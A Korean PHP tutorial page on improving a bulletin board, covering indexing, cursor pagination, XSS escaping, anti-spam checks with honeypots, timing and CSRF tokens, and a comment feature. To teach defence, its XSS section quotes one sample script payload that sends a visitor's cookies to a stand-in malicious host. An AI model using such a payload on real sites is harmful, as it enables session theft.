PHP

PHP

    ›웹 개발 실전

    eBook

    • eBook 다운로드

    개발 환경 만들기

    • PHP 시작하기
    • 윈도우용 APM 설치
    • 리눅스용 APM 설치
    • 에디터 설치하기
    • APM 환경 테스트

    기초 문법

    • PHP 동작 방식
    • PHP는 무엇인가?
    • PHP 모드와 HTML 모드
    • 변수 - 타입과 문자열
    • 변수 - 배열, 객체, 널
    • 식별자
    • 변수의 범위
    • 상수
    • 연산자
    • 연산자 우선순위
    • 제어 구조 - if, match
    • 제어 구조 - 반복문
    • 제어 구조 - include, require, 예외 처리
    • 함수

    웹 개발 실전

    • 미리 정의된 변수와 외부 입력 처리
    • HTML 폼과 PHP
    • 쿠키와 세션
    • 파일 입출력
    • 방명록 만들기
    • 게시판 만들기
    • 계층형 게시판 만들기
    • 게시판 개선하기
    • 디버깅과 에러 처리

    게시판 개선하기

    이번 강좌에서 다루는 것들

    기본 게시판을 만들었다면, 이제 실제 서비스에 올리기 위한 개선 작업이 필요합니다.

    • 인덱스를 활용한 성능 개선
    • XSS 방어 — 허용할 HTML 태그 제한
    • 스팸 봇 차단
    • 댓글 기능 추가

    성능 개선 — 인덱스

    게시물이 수만 건이 넘어가면 정렬이 느려집니다.
    thread 컬럼으로 ORDER BY를 자주 쓴다면 인덱스가 필수입니다.

    -- thread 컬럼에 인덱스 추가
    ALTER TABLE threadboard ADD INDEX idx_thread (thread);
    
    -- 글 읽기에서 id로 검색 — PRIMARY KEY가 자동으로 인덱스 역할을 합니다
    -- 별도 인덱스 불필요
    

    LIMIT + OFFSET의 한계

    글이 많아지면 뒷페이지로 갈수록 느려집니다.
    LIMIT 10 OFFSET 90000은 DB가 앞의 90,000개를 읽고 버리기 때문입니다.

    이를 해결하는 방법 중 하나가 커서 기반 페이지네이션입니다.

    <?php
    // 기존 방식 (느림 — 뒷페이지로 갈수록 느려집니다)
    $stmt = $pdo->prepare(
        "SELECT * FROM board ORDER BY id DESC LIMIT :limit OFFSET :offset"
    );
    
    // 개선 방식 (빠름 — 마지막으로 본 글의 id를 기준으로 가져옵니다)
    $lastId = (int) ($_GET['last_id'] ?? PHP_INT_MAX);
    
    $stmt = $pdo->prepare(
        "SELECT * FROM board WHERE id < :last_id ORDER BY id DESC LIMIT :limit"
    );
    $stmt->bindValue(':last_id', $lastId,    PDO::PARAM_INT);
    $stmt->bindValue(':limit',   10,         PDO::PARAM_INT);
    $stmt->execute();
    $rows = $stmt->fetchAll();
    
    // 다음 페이지 링크: 마지막으로 받은 글의 id를 넘깁니다
    $nextId = end($rows)['id'] ?? null;
    

    커서 기반 방식은 "무한 스크롤" 같은 인터페이스에서도 많이 씁니다.


    XSS 방어 — 허용할 태그 제한

    사용자가 입력한 내용을 그대로 HTML로 출력하면 스크립트 삽입(XSS)이 가능합니다.

    <!-- 악의적인 입력 예 -->
    <script>document.location='http://악성사이트.com?cookie='+document.cookie</script>
    

    가장 안전한 방법은 모든 태그를 제거하고 htmlspecialchars()로 이스케이프하는 것입니다.

    <?php
    // 가장 안전한 방법 — 모든 HTML 태그 제거
    $safe = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
    echo nl2br($safe);
    

    일부 HTML(<b>, <i> 등)을 허용하고 싶다면, 직접 허용목록을 관리하거나
    검증된 라이브러리(HTMLPurifier)를 씁니다. strip_tags()만으로는 부족합니다.

    <?php
    // strip_tags — 허용 태그 외 제거하지만 속성 필터링 없어 우회 가능
    $partial = strip_tags($userInput, '<b><i><u>');
    
    // 더 안전하게: 속성까지 제거하려면 HTMLPurifier 같은 라이브러리를 쓰세요
    // Composer: composer require ezyang/htmlpurifier
    require 'vendor/autoload.php';
    
    $config  = HTMLPurifier_Config::createDefault();
    $purifier = new HTMLPurifier($config);
    $clean   = $purifier->purify($userInput);
    

    스팸 봇 차단

    자동 글쓰기 봇(Bot)은 폼 구조를 분석해서 자동으로 데이터를 전송합니다.

    방법 1: 허니팟 (Honeypot)

    사람 눈에는 안 보이지만 봇은 채우는 숨겨진 필드를 만듭니다.

    <!-- CSS로 숨깁니다 (display:none이나 visibility:hidden은 봇이 무시할 수 있으니 위치 이동) -->
    <div style="position:absolute; left:-9999px;">
        <input type="text" name="website" tabindex="-1" autocomplete="off">
    </div>
    
    <?php
    // 허니팟 필드에 값이 있으면 봇으로 판단
    if (!empty($_POST['website'])) {
        exit; // 조용히 종료 (에러 메시지를 주면 봇이 학습합니다)
    }
    

    방법 2: 글쓰기 시간 제한

    봇은 폼을 열자마자 즉시 전송합니다. 최소 시간을 체크합니다.

    <?php
    session_start();
    
    // write.php — 폼을 열 때 시간을 세션에 기록
    $_SESSION['form_opened_at'] = time();
    
    // insert.php — 제출 시 경과 시간 확인
    $elapsed = time() - ($_SESSION['form_opened_at'] ?? 0);
    
    if ($elapsed < 3) { // 3초 미만이면 봇으로 의심
        exit;
    }
    unset($_SESSION['form_opened_at']);
    

    방법 3: CSRF 토큰

    폼에 숨겨진 토큰을 넣고, 서버에서 검증합니다.
    봇이 외부에서 폼을 직접 전송할 때를 막을 수 있습니다.

    <?php
    session_start();
    
    // write.php — 토큰 생성
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    
    <!-- 폼에 토큰 삽입 -->
    <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
    
    <?php
    // insert.php — 토큰 검증
    if (!hash_equals($_SESSION['csrf_token'] ?? '', $_POST['csrf_token'] ?? '')) {
        exit('올바르지 않은 요청입니다.');
    }
    unset($_SESSION['csrf_token']);
    

    댓글 기능 추가

    댓글 테이블은 게시판 테이블과 별도로 만듭니다.
    bid(board id)로 어느 글의 댓글인지 연결합니다.

    테이블

    CREATE TABLE comment (
        id      INT UNSIGNED NOT NULL AUTO_INCREMENT,
        bid     INT UNSIGNED NOT NULL,
        name    VARCHAR(20)  NOT NULL,
        pass    VARCHAR(255) NOT NULL,
        content TEXT         NOT NULL,
        wdate   DATETIME     NOT NULL DEFAULT CURRENT_TIMESTAMP,
        ip      VARCHAR(45)  NOT NULL,
        PRIMARY KEY (id),
        INDEX idx_bid (bid)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
    

    bid에 인덱스를 걸어야 특정 글의 댓글을 빠르게 가져올 수 있습니다.

    댓글 출력 — read.php에 추가

    <?php
    // 해당 글의 댓글 목록
    $stmt = $pdo->prepare("SELECT * FROM comment WHERE bid = :bid ORDER BY id ASC");
    $stmt->execute([':bid' => $id]);
    $comments = $stmt->fetchAll();
    ?>
    
    <h3>댓글 <?= count($comments) ?>개</h3>
    
    <?php foreach ($comments as $c): ?>
    <div style="border-bottom:1px solid #eee; padding:8px 0;">
        <strong><?= htmlspecialchars($c['name'], ENT_QUOTES, 'UTF-8') ?></strong>
        <small><?= $c['wdate'] ?></small>
        <a href="comment_delete.php?id=<?= $c['id'] ?>&bid=<?= $id ?>">삭제</a>
        <p><?= nl2br(htmlspecialchars($c['content'], ENT_QUOTES, 'UTF-8')) ?></p>
    </div>
    <?php endforeach; ?>
    
    <!-- 댓글 쓰기 폼 -->
    <form action="comment_insert.php?bid=<?= $id ?>" method="post">
        <input type="hidden" name="bid" value="<?= $id ?>">
        이름: <input type="text" name="name" maxlength="20" required>
        비밀번호: <input type="password" name="pass" required>
        <br>
        <textarea name="content" cols="60" rows="3" required></textarea>
        <br>
        <input type="submit" value="댓글 등록">
    </form>
    

    댓글 저장 (comment_insert.php)

    <?php
    declare(strict_types=1);
    
    require 'db.php';
    
    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
        header('Location: list.php');
        exit;
    }
    
    $bid     = (int) ($_POST['bid']     ?? 0);
    $name    = trim($_POST['name']    ?? '');
    $pass    = trim($_POST['pass']    ?? '');
    $content = trim($_POST['content'] ?? '');
    
    if ($bid === 0 || $name === '' || $pass === '' || $content === '') {
        exit('모든 항목을 입력해주세요.');
    }
    
    $pdo->prepare(
        "INSERT INTO comment (bid, name, pass, content, ip)
         VALUES (:bid, :name, :pass, :content, :ip)"
    )->execute([
        ':bid'     => $bid,
        ':name'    => $name,
        ':pass'    => password_hash($pass, PASSWORD_DEFAULT),
        ':content' => $content,
        ':ip'      => $_SERVER['REMOTE_ADDR'],
    ]);
    
    header("Location: read.php?id={$bid}");
    exit;
    

    댓글 삭제 (comment_delete.php)

    <?php
    declare(strict_types=1);
    
    require 'db.php';
    
    $id  = (int) ($_GET['id']  ?? 0);
    $bid = (int) ($_GET['bid'] ?? 0);
    
    if ($id === 0) {
        header('Location: list.php');
        exit;
    }
    
    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    ?>
    <form method="post">
        비밀번호: <input type="password" name="pass" required>
        <input type="submit" value="삭제">
    </form>
    <?php
        exit;
    }
    
    $stmt = $pdo->prepare("SELECT pass FROM comment WHERE id = :id");
    $stmt->execute([':id' => $id]);
    $row = $stmt->fetch();
    
    if (!$row || !password_verify($_POST['pass'], $row['pass'])) {
        exit('비밀번호가 틀렸습니다.');
    }
    
    $pdo->prepare("DELETE FROM comment WHERE id = :id")->execute([':id' => $id]);
    
    header("Location: read.php?id={$bid}");
    exit;
    

    개선 포인트 정리

    항목방법
    정렬 성능thread, id 컬럼에 인덱스 추가
    뒷페이지 성능커서 기반 페이지네이션
    XSS 방어htmlspecialchars() + HTMLPurifier
    스팸 봇 차단허니팟 + 시간 제한 + CSRF 토큰
    댓글별도 테이블 + bid 인덱스

    게시판을 직접 만들어보는 것은 웹 개발의 기본기를 다지는 좋은 훈련입니다.
    하지만 실제 서비스에서는 검증된 오픈소스 게시판이나 프레임워크를 쓰는 것이 훨씬 안전합니다.
    직접 만들 때는 보안 취약점을 빠뜨리기 쉽고, 그 대가는 크기 때문입니다.

    Last updated on 2026-4-19 by Myeongjin Cho
    ← 계층형 게시판 만들기디버깅과 에러 처리 →
    • 이번 강좌에서 다루는 것들
    • 성능 개선 — 인덱스
      • LIMIT + OFFSET의 한계
    • XSS 방어 — 허용할 태그 제한
    • 스팸 봇 차단
      • 방법 1: 허니팟 (Honeypot)
      • 방법 2: 글쓰기 시간 제한
      • 방법 3: CSRF 토큰
    • 댓글 기능 추가
      • 테이블
      • 댓글 출력 — read.php에 추가
      • 댓글 저장 (comment_insert.php)
      • 댓글 삭제 (comment_delete.php)
    • 개선 포인트 정리
    커뮤니티
    PHP 공식 웹사이트한국 PHP 개발자 커뮤니티
    유용한 정보
    책 소스 코드
    Copyright © 2026 EZPHP.NET